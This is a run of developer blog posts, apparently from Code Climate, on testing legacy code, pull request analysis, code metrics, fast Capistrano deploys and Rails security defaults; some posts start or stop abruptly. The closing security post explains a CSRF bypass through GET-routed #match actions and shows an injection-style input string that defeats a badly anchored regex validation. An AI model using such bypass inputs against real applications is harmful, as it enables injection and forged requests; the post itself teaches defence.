When confronted with code that doesn’t have good test coverage, it’s important not to try to “boil the ocean” with unit tests. It never makes sense to take a couple of weeks (or months) to try to get the code coverage up across the entire app. So, what is the answer? When you need to work with a big ball of mud, where should you start?

A good starting point is to take some time with the product owner/business analyst/business stakeholder to really clarify the key user journeys. Ask, “what are the most important things that your key audiences need to be able to do through the app?” Then create a handful of concrete scenarios for each user journey and write automated acceptance tests for them. For a web app you’d probably use a tool like Cucumber, RSpec and Capybara or Selenium to create these “smoke tests”. They don’t guarantee that your app is working correctly, but they should catch most of the large, systematic problems.

Next, test drive all of new code. That way you have confidence in the new functionality that you are adding to the system. If necessary, you might need to write a thin anti-corruption layer to provide a clean interface to code against for integration level testing.

Finally, whenever you find a bug, start by writing a failing test at an appropriate level (ideally a unit test). Then confirm that once the bug is fixed, the test passes.

If you’re working with a team that is not used to test driving code, take the time to make sure that they’re able to run the test suite locally and pair with them to get them used to test driving new functionality. Also make sure to set up continuous integration to your version control system so you’ll quickly get notified if any of the tests break.

Working with legacy code with limited test coverage is hard, but by following the ideas above it should be easier to get to grips with the code base. And over time, you’ll notice that the test coverage in the areas you care about - where you make most of your changes - will start to become reasonable. Usually within 6-12 months you end up with pretty good coverage in the parts of the app that really matter.

Peter Bell is Founder and CTO of Speak Geek, a contract member of the GitHub training team, and trains and consults regularly on everything from JavaScript and Ruby development to devOps and NoSQL data stores.

In short, you can merge with confidence. Create a Code Climate account start getting analysis of your Pull Requests right now.

There are three new, key features that work together to make this possible:

• GitHub Pull Request integration
• Compare view
• Branch analysis

Let’s look at each of them.

GitHub Pull Request integration

We’re happy to announce that Code Climate will automatically analyze your GitHub Pull Requests. Simply open a Pull Request and Code Climate will inform GitHub when our analysis is ready for you (if you’ve used or seen Travis CI’s build status on GitHub, we use the same exact mechanism):

Branch testing and Pull Request support is included in all our currently offered plans at the Team level and above. We’ll be rolling this feature out to incrementally over the next few days, and we will let you know when it’s activated for your account.

Note: Due to some technical considerations around analyzing cross-repo PRs, supporting Pull Requests for our free-for-OSS repos will take some extra time but is high on our list.

Compare view

Once we’ve finished analyzing your pull request/branch, you’ll be able to see the results in our new Compare view. It’s a focused representation of the important changes in your branch. You’ll see the overall change to your repo’s GPA, how your classes or files grades have changed and where code smells have been fixed, introduced or gotten worse:

Branch analysis

Even if you don’t use GitHub Pull Requests, you can start getting feedback on your branches immediately. Start by clicking on the new “Branches” tab for each of your repositories:

Push the “Analyze” button for any branches you care about, briefly sit tight, and within a few minutes the “View Comparison” button will be available to send you to a Compare view.

First-class Pull Request support has been our most requested feature over the last year, and we’re thrilled to be delivering it to you. We’ve been using these new features while we’ve been building them (I know, very meta) and we’re really enjoying the quicker feedback loop.

We hope you enjoy it as much as we have. We’d love to hear what you think!

Code Climate launched out of the Ruby community, with the goal of helping developers ship quality code faster, regardless of the language they are using. With advances to client-side programming (Ember.js, Backbone, etc.) and the fast growth of Node.js on the server-side, now more than ever JavaScript is used to express critical business logic. That code needs to be free from defects, and it needs to be maintainable over the long term. As a first class language in a developer’s modern toolkit, JavaScript should have the tooling to match.

Create a Code Climate account and add your first JavaScript project today.

What does it do?

JavaScript projects on Code Climate benefit from the extensive work we’ve done over the past few years to make a tool that provides the most actionable, timely feedback on code changes including:

• Simple A-F letter ratings for every JavaScript file
• An overall project GPA to track code improvements over time
• Email, chat integration and activity feeds for timely notifications
• Integration with issue trackers like GitHub Issues and Pivotal Tracker

In addition, because code linting is often important to ensure consistent, predictable execution of JavaScript across browsers, we’ve built in configurable JSHint checks. Here’s an example from Node.js:

(JSHint is configured by checking in a .jshintrc file into your repository. If you already have one, we’ll use it automatically.)

How do I use it?

To add private projects to Code Climate, you’ll first need to create an account. As of today, new repositories added to your Code Climate dashboard will have a dropdown menu to choose which language you would like us to analyze:

Note: Right now we are able to support one language per repository, but this is something that we will be improving in the future. As many Rails projects leverage JavaScript extensively, we want you to be able to see the effects of all of the changes to your codebase on each commit, and we are working to make that easier.

As always, Code Climate is free for open-source projects on GitHub. Add your OSS JavaScript projects today.

Often developers think the main reason for code review is to find bugs, but a 2013 study produced by by Alberto Bacchelli and Christian Bird of Microsoft Research concluded that other outcomes are more prevalent – and possibly more valuable!

Bacchelli and Bird surveyed 165 managers and 873 programmers at Microsoft, interviewed 17 developers with various degrees of experience and seniority across 16 separate product teams, and manually reviewed the content of 570 comments from Microsoft CodeFlow, an internal interactive tool that creates a central location where the discussion of code and the subsequent fixes can be discussed either in real-time or asynchronously.

What they found was that while the top motivation of developers, managers, and testers in performing code review is to find bugs, the outcome of most reviews is quite different.

The ‘Motivations’ chart: the ranked motivation categories from the developer segment of the interviews.

The 'Outcomes’: Ranked categories extracted from a sampling of code review data.

As can be seen from these charts of Motivations and Outcomes, the top motivation for the largest number of developers was “Finding defects,” yet the topic most commonly discussed in code reviews ostensibly pertains to “code improvements:” comments or changes about code in terms of readability, commenting, consistency, dead code removal, etc.

So if code review isn’t giving us what we want, why do we keep doing it? The response of one senior developer in the study sums it up well:

“[code review] also has several beneficial influences: (1) makes people less protective about their code, (2) gives another person insight into the code, so there is (3) better sharing of information across the team, (4) helps support coding conventions on the team, and…(5) helps improve the overall process and quality of code.”

Bacchelli and Bird conclude that, while there’s a significant difference between the expectations and outcomes of code review, this isn’t a bad thing. While we don’t always get the exact value from code reviews that we expected, we often end up getting quite a bit more.

Turns out the Stones were right: You can’t always get what you want, but you just might find you get what you need.

In addition to a modicum of somewhat superficial bug fixes, teams get benefits such as “knowledge transfer, increased team awareness, and improved solutions to problems” from participating in modern code reviews. Additionally, the idea that code review is good at “educating new developers about code writing” is a compelling point.

Bacchelli and Bird recommend embracing these unexpected outcomes, rather than trying to re-focus code reviews on finding bugs, and let code review policies be guided with the explicit intent to improve code style, find alternative solutions, increase learning, and share ownership.

They also recommend automating enforcement of team style and code conventions to free reviewers to look for deeper more subtle defects - something we agree with wholeheartedly!

All quotes and figures are from Alberto Bacchelli and Christian Bird, "Expectations, Outcomes, and Challenges of Modern Code Review”, May 2013, Proceedings of the International Conference on Software Engineering.

The testing pyramid is a concept that can help you better balance your tests, speeding up your test suite and reducing the cost of changing the functionality of your applications. It centers on the composition of different types of tests in your suite.

You’re probably already familiar with the two most common types of Rails tests in the wild:

• ** Unit tests** — The lowest and most important level. Unit tests use tools like RSpec, MiniTest or Jasmine that confirm the correct behavior of isolated units of functionality (typically classes, methods or functions), and run extremely fast (milliseconds).
  • Acceptance tests — The high level (typically user-level) tests using tools like RSpec and Capybara, Cucumber or Selenium. Since they run a lot more code than unit tests and often depend on external services they are much slower (seconds or minutes).

A properly tested application feature requires both unit tests and acceptance tests. Start by making sure you have good unit test coverage. This is a natural by-product of a test-driven development (TDD) workflow. Your unit tests should catch edge cases and confirm correct object behavior.

Carefully supplement your unit tests with acceptance tests that exercise the application like an end-user. These will give you confidence that all of the objects are playing nicely together. Teams often end up with way too many of these tests, slowing development cycles to a crawl. If you have 20 Capybara-based tests for user registration to confirm that all validation errors are handled correctly, you’re testing at the wrong level. This is known as the Inverted Testing Pyramid anti-pattern.

The Throwaway Test

It’s important to realize that — just like scaffolding — a test can be useful without being permanent. Imagine that you’re going to spend two weeks building a complex registration system, but you’re slicing it into half day stories each of which has a couple of Cucumber tests to verify behavior. This can be a good way to develop, as you’ve got a large number of thinly-sliced stories and are ensuring that you have clear “confirmation” that each story is complete in the form of passing acceptance tests. Just don’t forget the final step: When you’re done, pare your test suite down to the minimum set of tests to provide the confidence you need (which may vary depending on the feature).

Once you’re done with such a minimum marketable feature, instead of just shipping with the 40-50 acceptance tests you used while building out the stories, you should replace those with maybe 3-5 user journeys covering the major flows through the registration system. It’s OK to throw away the other tests, but make sure that you’re still ensuring correctness of the key behaviors — often by adding more unit tests. If you don’t do this, you’ll quickly end up with a test suite that requires substantial parallelization just to run in 5-8 minutes and that is brittle with small UI changes breaking large numbers of tests.

Service-Level Testing

Eventually, you’ll notice that there is sometimes functionality that you can’t confidently test at a unit level but that shouldn’t really be tested via the UI. In his 2009 book, “Succeeding with Agile”, Mike Cohn (who came up with the concept of “the testing pyramid” which was later popularized by Martin Fowler) used the phrase “service-level testing” to describe these tests. Various communities also use terms like functional or integration tests which also describe tests between unit and end-to-end acceptance tests.

The trick with service level testing is to expose an API for your application or subsystem so that you can test the API independently of the UI that will exercise it. This ties in nicely with trends in web application development where many teams are now trending towards building a single RESTful JSON API on the server side to service both web and native mobile clients.

Putting It All together

Most applications only have a small number of critical user paths. For an eCommerce application, they might be:

1. Browsing the product catalog
2. Buying a product
3. Creating an account
4. Logging in (including password reset)
5. Checking order history

As long as those five things are working, the developers don’t need to be woken up in the middle of the night to fix the application code. (Ops is another story.) Those functions can likely be covered with five coarse-grained, Capybara tests that run in under two minutes total.

Blending unit tests, service-level tests and acceptance tests yields faster test suites that still provide confidence the application is working, and are resistant to incidental breakage. As you develop, take care to prune tests that are not pulling their weight. When you fix a bug, implement your regression test at the lowest possible level. Over time, keep an eye on the ratio between the counts of each type of test, as well as the time of your acceptance test suite.

Using these techniques, you can achieve testing nirvana: A suite that provides you confidence the application works, gives you freedom to change the application without brittle, UI-related test failures, and runs in a few minutes without any parallelization.

Peter Bell is Founder and CTO of Speak Geek, a contract member of the GitHub training team, and trains and consults regularly on everything from JavaScript and Ruby development to devOps and NoSQL data stores.

At Code Climate, we try to minimize the time between when code is written and when it is live in production. When deploys slowed until they left enough time to make a pot of coffee, we invested in speeding them up.

What’s in a deploy?

At its core, deploying a modern Rails application consists of a few simple steps:

1. Update the application code
2. Run bundle install (if the Gemfile was updated)
3. Precompile assets (if assets were updated)
4. Restart the application processes (e.g. Unicorn)

If the deploy fails, the developer needs to be alerted immediately. If application processes fail to rollover to the latest code, we need to detect that.

For kicks, I wrote a Bash script to perform those steps, to determine our theoretical lowest deploy time (just the time for SSH and running the minimum, required commands). It took about three seconds when there were no Gemfile or asset changes. So I set out to reduce our ten minute deploys to as close to that number as possible.

Enter Capistrano

If you take anything away from this article, make it this: Capistrano is really two tools in one. It provides both:

1. A runtime allowing you to run arbitrary commands against sets of remote servers via SSH
2. A set of default tasks for deploying Rails applications

The runtime is incredibly useful. The default tasks, which originated back in 2005, come from a pre-Git era and are unnecessarily slow and complex for most Rails applications today.

By default, Capistrano creates a releases directory to store each deployed version of the code, and implicitly serve as a deployment history for rollback. The current symlink points to the active version of the code. For files that need to be shared across deployments (e.g. logs and PID files), Capistrano creates symlinks into the shared directory.

Git for faster, simpler deploys

We avoid the complexity of the releases, current and shared directories, and the slowness of copying our application code on every deploy by using Git. To begin, we clone our Git repo into what will become our deploy_to directory (in Capistrano speak):

git clone ssh://github.com/codeclimate/codeclimate.git /data/codeclimate/app

To update the code, a simplegit fetch followed by git reset —hard will suffice. Local Git tags (on the app servers) work beautifully for tracking the deployment history that the releases directory did. Because the same checkout is used across deployments, there’s no need for shared symlinks. As a bonus, we use Git history to detect whether post-update work like bundling Gems needs to be done (more on that later).

The Results

Our new deploy process is heavily inspired by (read: stolen from) Recap, a fantastic set of modern Capistrano tasks intended to replace the defaults. We would have used Recap directly, but it only works on Ubuntu right now.

In the end we extracted a small set of Capistrano tasks that work together to give us the simple, extremely fast deploys:

• deploy:update_code — Resets the Git working directory to the latest code we want to deploy.
• bundle:install:if_changed — Checks if either the Gemfile or Gemfile.lock were changed, and if so invokes the bundle:install task. Most deploys don’t include Gemfile changes so this saves some time.
• assets:precompile:if_changed — Similar to the above, this invokes the assets:precompile task if and only if there were changes that may necessitate asset updates. We look for changes to three paths: app/assets, Gemfile.lock, and config. Asset pre-compilation is notoriously slow, and this saves us a lot of time when pushing out changes that only touch Ruby code or configuration.
• deploy:tag — Creates a Git tag on the app server for the release. We never push these tags upstream to GitHub.
• deploy:restart — This part varies depending on your application server of choice. For us, we use God to send a USR2 signal to our Unicorn master process.
• deploy:verify — This is the most complex part. The simplest approach would have Capistrano wait until the Unicorn processes reboot (with a timeout). However, since Unicorn reboots take 30 seconds, I didn’t want to wait all that extra time just to confirm something that works 99% of the time. Using every ounce of Unix-fu I could muster, I cobbled together a solution using the at utility:

echo 'curl -sS http://127.0.0.1:3000/system/revision | grep "c7fe01a813" > /dev/null || echo "Expected SHA: c7fe01a813" | mail -s "Unicorn restart failed" ops@example.com' | at now + 2 minutes

Here’s where we ended up: (Note: I edited the output a bit for clarity.)

$ time cap deploy
  * executing `deploy'
 ** transaction: start
  * executing `deploy:update_code'
  * executing "cd /data/codeclimate/app && git fetch origin && git reset --hard origin/master"
    command finished in 714ms
  * executing `bundle:install:if_changed'
  * executing `assets:precompile:if_changed'
  * executing `deploy:tag'
  * executing "cd /data/codeclimate/app && git tag 20130930041400 -m 'Deployed at 2013-09-30 00:13:58 -0400'"
    command finished in 199ms
 ** transaction: commit
  * executing `deploy:restart'
  * executing "rvmsudo god restart unicorn"
    command finished in 1867ms
  * executing `deploy:verify'
    command finished in 216ms

real  0m5.314s
user  0m1.022s
sys 0m0.366s

If your deploys are not as zippy as you’d like, consider if a similar approach would work for you. The entire project took me about a day of upfront work, but it pays dividends each and every time we deploy.

Further Reading

• Recap — Discussed above. Highly recommend taking a look at the source, even if you don’t use it.
• Deployment Script Spring Cleaning from the GitHub blog — The first time I encountered the idea of deploying directly from a single Git working copy. I thought it was crazy at the time but have come around.

• “Which areas of my app are both low quality and untested?”
• “How well covered is this method I’m about to refactor?”
• “Should I beef up integration testing coverage before this large-scale change?”

Today, we’re proud to announce the full integration of test coverage metrics into Code Climate. To make it dead simple to get started, we’re also partnering with three awesome companies that are experts at running your tests – Semaphore, Solano Labs, and Travis CI. (More on this below.)

Having test coverage side-by-side with code quality enables your team to make better decisions earlier in your development process, leading to more maintainable code that is easier to work in. Here’s a quick look:

Just like with code quality, we surface test coverage information at the repository, class, and source listing level (down to an individual line of code) and provide feedback as metrics change over time in the form of email alerts, activity feeds, chat notifications and RSS.

With just a few minutes of setup you can:

• View test coverage reports for each class alongside other metrics like complexity, duplication, and churn.
• Toggle between viewing code smells and test coverage line-by-line on the same source listings (see above).
• Track your team’s test coverage in your weekly summary emails and Code Climate feed.

Here’s a couple examples of Code Climate’s test coverage integration …

… in your chatroom:

… and in your weekly summary email:

We think the addition of test coverage to our code quality offering is a powerful upgrade in our mission of helping free teams from the burden of technical debt and unmaintainable code. Give it a try today, and let us know what you think.

How does test coverage work?

Code Climate does not run your code, and that’s not changing. Instead, our new test coverage feature works by accepting coverage data sent from your wherever you are already runing your tests. This means you can use Code Climate’s new test coverage feature with your existing continuous integration (CI) server. (In a pinch, you could even send up test coverage data from your laptop, or anywhere else.)

We’ve released the codeclimate-test-reporter RubyGem that you install into your Gemfile. When your tests finish, it sends an HTTPS post to us with a report on which lines of code were executed (and how many times).

Test Coverage is included in all our currently offered plans. To turn it on for a specific repo, just go to your repository’s feed page, click “Set up Test Coverage” and follow the instructions.

Our Partners

Some of you might not have a CI server in place for your project, or perhaps you’ve been frustrated maintaining your own CI server and are looking for something better. We believe cloud-based CI is the future and are excited to partner with three fantastic CI providers – Semaphore, Solano Labs, and Travis CI – to ensure you can integrate their services with just a few clicks.

All three of our partners save you from the headaches of administering a CI server (like Jenkins) on your own – time and money that adds up quickly. If you’re looking to make a move to a cloud CI vendor, now is a great time. Semaphore, Solano Labs, and Travis CI have generously agreed to provide Code Climate customers 20% off their first three months.

Joining forces with three companies that are experts at running your tests – safely, quickly and with little effort – means we can stay focused on what we do best. To get started with one of these great partner offers, login to your Code Climate account and head to the Test Coverage setup tab for one of your repos.

Code metrics fall into two tags: static analysis and dynamic analysis. Static analysis is performed without executing the code (or tests). Dynamic analysis, on the other hand, requires executing the code being measured. Test coverage is a form of dynamic analysis because it requires running the test suite. We’ll look at both types of metrics.

By the way, if you’d rather not worry about the nitty-gritty details of the individual code metrics below, give Code Climate a try. We’ve selected the most important metrics to care about and did all the hard work to get you actionable data about your project within minutes.

Lines of Code

One of the oldest and most rudimentary forms of static analysis is lines of code (LOC). This is most commonly defined as the count of non-blank, non-comment lines of source code. LOC can be looked at on a file-by-file basis or aggregated by module, architecture layer (e.g. the models in an MVC app) or by production code vs. test code.

Rails provides LOC metrics broken down my MVC layer and production code vs. tests via the rake stats command. The output looks something like this:

+----------------------+-------+-------+---------+---------+-----+-------+
| Name                 | Lines |   LOC | Classes | Methods | M/C | LOC/M |
+----------------------+-------+-------+---------+---------+-----+-------+
| Controllers          |   612 |   513 |      24 |      57 |   2 |     7 |
| Helpers              |   207 |   179 |       0 |      26 |   0 |     4 |
| Models               |  1321 |  1055 |      13 |     188 |  14 |     3 |
| Libraries            |   115 |    98 |       1 |       6 |   6 |    14 |
| Integration tests    |     0 |     0 |       0 |       0 |   0 |     0 |
| Functional tests     |  2693 |  2282 |      19 |      24 |   1 |    93 |
| Unit tests           |  2738 |  2225 |      16 |       4 |   0 |   554 |
+----------------------+-------+-------+---------+---------+-----+-------+
| Total                |  8749 |  7133 |      78 |     326 |   4 |    19 |
+----------------------+-------+-------+---------+---------+-----+-------+
  Code LOC: 1845     Test LOC: 5288     Code to Test Ratio: 1:2.9

Lines of code alone can’t tell you much, but it’s usually considered in two ways: overall codebase size and test-to-code ratio. Large, monolithic apps will naturally have higher LOC. Test-to-code ratio can give a programmer a crude sense of the testing practices that have been applied.

Because they are so high level and abstract, don’t work on “addressing” LOC-based metrics directly. Instead, just focus on improvements to maintainability (e.g. decomposing an app into services when appropriate, applying TDD) and it will eventually show up in the metrics.

Complexity

Broadly defined, “complexity” metrics take many forms:

• Cyclomatic complexity — Also known as McCabe’s complexity, after its inventor Thomas McCabe, cyclomatic complexity is a count of the linearly independent paths through source code. While his original paper contains a lot of graph-theory analysis, McCabe noted that cyclomatic complexity “is designed to conform to our intuitive notion of complexity”.
• The ABC metric — Aggregates the number of assignments, branches and conditionals in a unit of code. The branches portion of an ABC score is very similar to cyclomatic complexity. The metric was designed to be language and style agnostic, which means you could theoretically compare the ABC scores of very different codebases (one in Java and one in Ruby for example).
• Ruby’s Flog scores — Perhaps the most popular way to describe the complexity of Ruby code. While Flog incorporates ABC analysis, it is, unlike the ABC metric, opinionated and language-specific. For example, Flog penalizes hard-to-understand Ruby constructs like meta-programming.

For my money, Flog scores seem to do the best job of being a proxy for how easy or difficult a block of Ruby code is to understand. Let’s take a look at how it’s computed for a simple method, based on an example from the Flog website:

def blah         # 11.2 total =
  a = eval "1+1" # 1.2 (a=) + 6.0 (eval) +

  if a == 2      # 1.2 (if) + 1.2 (==) + 0.4 (fixnum) +
    puts "yay"   # 1.2 (puts)
  end
end

To use Flog on your own code, first install it:

$ gem install flog

Then you can Flog individual files or whole directories. By default, Flog scores are broken out by method, but you can get per-class total by running it with the -g option (group by class):

$ flog app/models/user.rb
$ flog -g app/controllers

All of this raises a question: What’s a good Flog score? It’s subjective, of course, but Jake Scruggs, one of the original authors of Metric-Fu, suggested that scores above 20 indicate the method may need refactoring, and above 60 is dangerous. Similarly, Code Climate will flag methods with scores above 25, and considers anything above 60 “very complex”. Fun fact: The highest Flog score ever seen on Code Climate for a single method is 11,354.

If you’d like to get a better sense for Flog scores, take a look at complex classes in some open source projects on Code Climate. Here, for example, is a pretty complex method inside an open source project:

Like most code smells, high complexity is a pointer to a deeper problem rather than a problem in-and-of itself. Tread carefully in your refactorings. Often the simplest solutions (e.g. applying Extract Method) are not the best and rethinking your domain model is required, and sometimes may actually make things worse.

Duplication

Static analysis can also identify identical and similar code, which usually results from copying and pasting. In Ruby, Flay is the most popular tool for duplication detection. It hunts for large, identical syntax trees and also uses fuzzy matching to detect code which differs only by the specific identifiers and constants used.

Let’s take a look at an example of two similar, but not-quite-identical Ruby snippets:

###### From app/models/tickets/lighthouse.rb:
def build_request(path, body)
  Post.new(path).tap do |req|
    req["X-LighthouseToken"] = @token
    req.body = body
  end
end

####### From app/models/tickets/pivotal_tracker.rb:
def build_request(path, body)
  Post.new(path).tap do |req|
    req["X-TrackerToken"] = @token
    req.body = body
  end
end

The s-expressions produced by RubyParser for these methods are nearly identical, sans the string literal for the token header name, so Flay reports these as:

1) Similar code found in :defn (mass = 78)
  ./app/models/tickets/lighthouse.rb:25
  ./app/models/tickets/pivotal_tracker.rb:25

Running Flay against your project is simple:

$ gem install flay
$ flay path/to/rails_app

Some duplications reported by Flay should not be addressed. Identical code is generally worse than similar code, of course, but you also have to consider the context. Remember, the real definition of the Don’t Repeat Yourself (DRY) principle is:

Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

And not:

Don’t type the same characters into the keyboard multiple times.

Simple Rails controllers that follow the REST convention will be similar and show up in Flay reports, but they’re better left damp than introducing a harder-to-understand meta-programmed base class to remove duplication. Remember, code that is too DRY can become chafe, and that’s uncomfortable for everyone.

Test Coverage

One of the most popular code metrics is test coverage. Because it requires running the test suite, it’s actually dynamic analysis rather than static analysis. Coverage is often expressed as a percentage, as in: “The test coverage for our Rails app is 83%.”

Test coverage metrics come in three flavors:

• C0 coverage — The percentage of lines of code that have been executed.
• C1 coverage — The percentage of branches that have been followed at least once.
• C2 coverage — The percentage of unique paths through the source code that have been followed.

C0 coverage is by far the most commonly used metric in Ruby. Low test coverage can tell you that your code in untested, but a high test coverage metric doesn’t guarantee that your tests are thorough. For example, you could theoretically achieve 100% C0 coverage with a single test with no assertions.

To calculate the test coverage for your Ruby 1.9 app, use SimpleCov. It takes a couple steps to setup, but they have solid documentation so I won’t repeat them here.

So what’s a good test coverage percentage? It’s been hotly debated. Some, like Robert Martin, argue that 100% test coverage is a natural side effect of proper development practices, and therefore a bare minimum indicator of quality. DHH put forth an opposing view likening code coverage to security theater and expressly discouraged aiming for 100% code coverage.

Ultimately you need to use your judgement to make a decision that’s right for your team. Different projects with different developers might have different optimal test coverage levels throughout their evolution (even if they are not looking at the metric at all). Tune your sensors to detect pain from under-testing or over-testing and adjust your practices based on pain you’re experiencing.

Suppose that you find yourself with low coverage and are feeling pain as a result. Maybe deploys are breaking the production website every so often. What should you do then? Whole books have been written on this subject, but there are a few tips I’d suggest as a starting point:

1. Test drive new code.
2. Don’t backfill unit tests onto non-TDD'ed code. You lose out on the primary benefits of TDD: design assistance. Worse, you can easily end up cementing a poor object design in place.
3. Start with high level tests (e.g. acceptance tests) to provide confidence the system as a whole doesn’t break as you refactor its guts.
4. Write failing tests for bugs before fixing them to protect agains regressions. Never fix the same bug twice.

Churn

Churn looks at your source code from a different dimension: the change of your source files over time. I like to express it as a count of the number of times a class has been modified in your version control history. For example: “The User class has a churn of 173.”

By itself, Churn can’t tell you much, but it’s powerful if you mix it with another metric like complexity. Turbulence is a Gem that does just that for Ruby projects. It’s quite easy to use:

$ gem install turbulence
$ cd path/to/rails_app && bule

This will spit out a nice report in turbulence/turbulence.html. Here’s an example:

Depending on its complexity and churn, classes fall into one of four quadrants:

1. Upper-right — Classes with high complexity and high churn. These are good top priorities for refactoring because their maintainability issues are impacting the developers on a regular basis.
2. Upper-left — Classes with high complexity and low churn. An adapter to hook into a complex third-party system may end up here. It’s complicated, but if no one has to work on (or debug) that code, it’s probably worth leaving as-is for now.
3. Lower-left — Classes with low churn and low complexity. The best type of classes to have. Most of your code should be in this quadrant.
4. Lower-right — Classes with low complexity and high churn. Configuration definitions are a prototypical example. Done right, there’s not much to refactor here at all.

Wrapping Up

Ruby is blessed with a rich ecosystem of code metrics tools, and the gems we looked at today just scratch the surface. Generally, the tools are easy to get started with, so it’s worth trying them out and getting a feel for how they match up (or don’t) with your sense of code quality. Use the metrics that prove meaningful to you.

Keep in mind that while these metrics contains a treasure trove of information, they represent only a moment in time. They can tell you where you stand, but less about how you got there and where you’re going. Part of the reason why I built Code Climate is to address this shortcoming. Code Climate allows you to track progress in a meaningful way, raising visibility within your team:

If you’d like to try out code quality metrics on your project quickly and easily, give Code Climate a try. There’s a free two week trial, and I’d love to hear your feedback on how it affects your development process.

There’s a lot our code can tell us about the software development work we are doing. There will always be the need for our own judgement as to how our systems should be constructed, and where risky areas reside, but I hope I’ve shown you how metrics can be a great start to the conversation.

Pretty soon, you’re going to want some tests. But while testing models and controllers is a well-established practice, how do you test code that’s tucked away in an initializer? Is there such thing as an initializer test?

No, not really. But that’s ok. Configuration or DSL-style code can trick us into forgetting that we have the full arsenal of Ruby and OO practices at our disposal. Let’s take a look at a common idiom found in initialization code and how we might write a test for it.

Configuring Asset Hosts

Asset host configuration often start as a simple String:

config.action_controller.asset_host = "assets.example.com"

Eventually, as the security and performance needs of your site change, it may grow to:

config.action_controller.asset_host = Proc.new do |*args|
  source, request = args

  if request.try(:ssl?)
    'ssl.cdn.example.com'
  else
    'cdn%d.example.com' % (source.hash % 4)
  end
end

Rails accepts an asset host Proc which takes two arguments – the path to the source file and, when available, the request object – and returns a computed asset host. What we really want to test here is not the assignment of our Proc to a variable, but the logic inside the Proc. If we isolate it, it’s going to make our lives a bit easier.

Since Rails seems to want a Proc for the asset host, we can provide one. Instead of embedding it in an environment file, we can return one from a method inside an object:

class AssetHosts
  def configuration
    Proc.new do |*args|
      source, request = args

      if request.try(:ssl?)
        'ssl.cdn.example.com'
      else
        'cdn%d.example.com' % (source.hash % 4)
      end
    end
  end
end

It’s the exact same code inside the #configuration method, but now we have an object we can test and refactor. To use it, simply assign it to the asset_host config variable as before:

config.action_controller.asset_host = AssetHosts.new.configuration

At this point you may see an opportunity to leverage Ruby’s duck typing, and eliminate the explicit Proc entirely, instead providing an AssetHosts#call method directly. Let’s see how that would work:

class AssetHosts
  def call(source, request = nil)
    if request.try(:ssl?)
      'ssl.cdn.example.com'
    else
      'cdn%d.example.com' % (source.hash % 4)
    end
  end
end

Since Rails just expects that the object you provide for the asset_hosts variable respond to the #call interface (like Proc itself does), you can simplify the configuration:

config.action_controller.asset_host = AssetHosts.new

Now lets wrap some tests around AssetHosts. Here’s a first cut:

describe AssetHosts do
  describe "#call" do
    let(:https_request) { double(ssl?: true) }
    let(:http_request)  { double(ssl?: false) }

    context "HTTPS" do
      it "returns the SSL CDN asset host" do
        AssetHosts.new.call("image.png", https_request).
          should == "ssl.cdn.example.com"
      end
    end

    context "HTTP" do
      it "balances asset hosts between 0 - 3" do
        asset_hosts = AssetHosts.new
        asset_hosts.call("foo.png", http_request).
          should == "cdn1.example.com"

        asset_hosts.call("bar.png", http_request).
          should == "cdn2.example.com"
      end
    end

    context "no request" do
      it "returns the non-ssl asset host" do
        AssetHosts.new.call("image.png").
          should == "cdn0.example.com"
      end
    end
  end
end

It’s not magic, but the beauty of first-class objects is they have room to breathe and help present refactorings. In this case, you can apply the Composed Method pattern to AssetHosts#call.

Guided by tests, you might end up with an object that looks like this:

class AssetHosts
  def call(source, request = nil)
    if request.try(:ssl?)
      https_asset_host
    else
      http_asset_host(source)
    end
  end

private

  def http_asset_host(source)
    'cdn%d.example.com' % cdn_number(source)
  end

  def https_asset_host
    'ssl.cdn.example.com'
  end

  def cdn_number(source)
    source.hash % 4
  end
end

Since the external behavior of AssetHosts hasn’t changed, no changes to the tests are required.

By making a small leap – isolating configuration code into an object – we now have logic that is easier to test, read, and change. If you find yourself stuck in a similar situation, with important logic stuck in a place that resists testing, see where a similar leap can lead you.

Secure defaults are critical to building secure systems. If a developer must take explicit action to enforce secure behavior, eventually even an experienced developer will forget to do so. For this reason, security experts say:

“Insecure by default is insecure.”

Rails’ reputation as a relatively secure Web framework is well deserved. Out-of-the-box, there is protection against many common attacks: cross site scripting (XSS), cross site request forgery (CSRF) and SQL injection. Core members are knowledgeable and genuinely concerned with security.

However, there are places where the default behavior could be more secure. This post explores potential security issues in Rails 3 that are fixed in Rails 4, as well as some that are still risky. I hope this post will help you secure your own apps, as well as inspire changes to Rails itself.

Rails 3 Issues

Let’s begin by looking at some Rails 3 issues that are resolved in master. The Rails team deserves credit for addressing these, but they are worth noting since many applications will be running on Rails 2 and 3 for years to come.

1. CSRF via Leaky #match Routes

Here is an example taken directly from the Rails 3 generated config/routes.rb file:

WebStore::Application.routes.draw do
  # Sample of named route:
  match 'products/:id/purchase' => 'catalog#purchase',
    :as => :purchase
  # This route can be invoked with
  # purchase_url(:id => product.id)
end

This has the effect of routing the /products/:id/purchase path to the CatalogController#purchase method for all HTTP verbs (GET, POST, etc). The problem is that Rails’ cross site request forgery (CSRF) protection does not apply to GET requests. You can see this in the method to enforce CSRF protection:

def verified_request?
  !protect_against_forgery? ||
  request.get? ||
  form_authenticity_token ==
    params[request_forgery_protection_token] ||
  form_authenticity_token ==
    request.headers['X-CSRF-Token']
end

The second line short-circuits the CSRF check: it means that if request.get? is true, the request is considered “verified” and the CSRF check is skipped. In fact, in the Rails source there is a comment above this method that says:

Gets should be safe and idempotent.

In your application, you may always use POST to make requests to /products/:id/purchase. But because the router allows GET requests as well, an attacker can trivially bypass the CSRF protection for any method routed via the #match helper. If your application uses the old wildcard route (not recommended), the CSRF protection is completely ineffective.

Best Practice: Don’t use GET for unsafe actions. Don’t use #match to add routes (instead use #post, #put, etc.). Ensure you don’t have wildcard routes.

The Fix: Rails now requires you to specify either specific HTTP verbs or via: :all when adding routes with #match. The generated config/routes.rb no longer contains commented out #match routes. (The wildcard route is also removed.)

2. Regular Expression Anchors in Format Validations

Consider the following validation:

validates_format_of :name, with: /^[a-z ]+$/i

This code is usually a subtle bug. The developer probably meant to enforce that the entire name attribute is composed of only letters and spaces. Instead, this will only enforce that at least one line in the name is composed of letters and spaces. Some examples of regular expression matching make it more clear:

>> /^[a-z ]+$/i =~ "Joe User"
=> 0 # Match

>> /^[a-z ]+$/i =~ " '); -- foo"
=> nil # No match

>> /^[a-z ]+$/i =~ "a\n '); -- foo"
=> 0 # Match

The developer should have used the \A (beginning of string) and \z (end of string) anchors instead of ^ (beginning of line) and $ (end of line). The correct code would be:

validates_format_of :name, with: /\A[a-z ]+\z/i

